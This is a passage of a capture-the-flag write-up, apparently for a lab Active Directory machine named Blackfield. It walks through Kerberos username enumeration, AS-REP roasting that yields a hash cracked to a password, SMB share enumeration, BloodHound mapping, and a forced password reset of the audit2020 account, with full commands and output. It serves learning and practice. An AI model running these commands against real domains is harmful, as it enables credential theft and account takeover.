Kerberos - 88

So we've got usernames list from the share we found. We also got usernames list from SID bruteforcing. I used kerbrute to find valid usernames.

kerbrute userenum -d blackfield.local --dc 10.10.10.192 usernames                                                                   

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 02/11/25 - Ronnie Flathers @ropnop

2025/02/11 23:36:58 >  Using KDC(s):
2025/02/11 23:36:58 >   10.10.10.192:88

2025/02/11 23:37:19 >  [+] VALID USERNAME:       [email protected]
2025/02/11 23:39:21 >  [+] VALID USERNAME:       [email protected]
2025/02/11 23:39:21 >  [+] VALID USERNAME:       [email protected]
2025/02/11 23:39:48 >  Done! Tested 317 usernames (3 valid) in 170.431 seconds

And after that I used GetSPN to find users with pre-auth not required.

GetNPUsers.py blackfield.local/ -no-pass -dc-ip 10.10.10.192 -usersfile sid_users

And found a hash

User audit2020 doesn't have UF_DONT_REQUIRE_PREAUTH set
[email protected]:ba96ecffdeca16346ffd51cd0b25c960$fb2c49b698d2e3f0455ba941464950437814ff79008238b90a911d68e44d26d5292a142e47c140257df22dd4376b3d0dd893fbde89bc9cd216eb13b8e77dea3b0fbdceec7aff7f6d55b47fd75f512e50ec6aa516e7d3d77c3bbae7cc0d22adc6817dcf2f9fb3d23772b4f573726bbc782eb0fb0f2326b9dfd0e0bbd3d1742b2d720c54a2da532b24513794ba496da244ad49ca9412cad82d80842bc76623c34d7fcb70c1df558cf743edf897929c0982317277883f69b4d56f90d19a9a053926641ee931ceefef0663978f2444d69b357f927f8af7cd789e07a47fab95cd3e3ae1f834d010001b562bba57abe7a838912adfea64

Using hashcat, we get our first pair of credentials. [email protected]:#00^BlackKnight

netexec smb 10.10.10.192 -u 'support' -p '#00^BlackKnight'
SMB         10.10.10.192    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB         10.10.10.192    445    DC01             [+] BLACKFIELD.local\support:#00^BlackKnight

It only allow SMB and we can read shares but not all shares.

netexec smb 10.10.10.192 -u 'support' -p '#00^BlackKnight' --shares
SMB         10.10.10.192    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB         10.10.10.192    445    DC01             [+] BLACKFIELD.local\support:#00^BlackKnight 
SMB         10.10.10.192    445    DC01             [*] Enumerated shares
SMB         10.10.10.192    445    DC01             Share           Permissions     Remark
SMB         10.10.10.192    445    DC01             -----           -----------     ------
SMB         10.10.10.192    445    DC01             ADMIN$                          Remote Admin
SMB         10.10.10.192    445    DC01             C$                              Default share
SMB         10.10.10.192    445    DC01             forensic                        Forensic / Audit share.
SMB         10.10.10.192    445    DC01             IPC$            READ            Remote IPC
SMB         10.10.10.192    445    DC01             NETLOGON        READ            Logon server share 
SMB         10.10.10.192    445    DC01             profiles$       READ            
SMB         10.10.10.192    445    DC01             SYSVOL          READ            Logon server share 

Still no access to shares. We know there are other users. So I ran bloodhound to graph it.

sudo bloodhound-python -u 'support' -p '#00^BlackKnight' -ns 10.10.10.192 -d blackfield.local

Bloodhound

We can change password for the user audit2020. Bloodhound also shows how it can be exploited both from Linux and Windows.

net rpc password "audit2020" "Complexpw123" -U "blackfield.local"/"support"%'#00^BlackKnight' -S "dc01.blackfield.local"

netexec smb 10.10.10.192 -u audit2020 -p Complexpw123
SMB         10.10.10.192    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB         10.10.10.192    445    DC01             [+] BLACKFIELD.local\audit2020:Complexpw123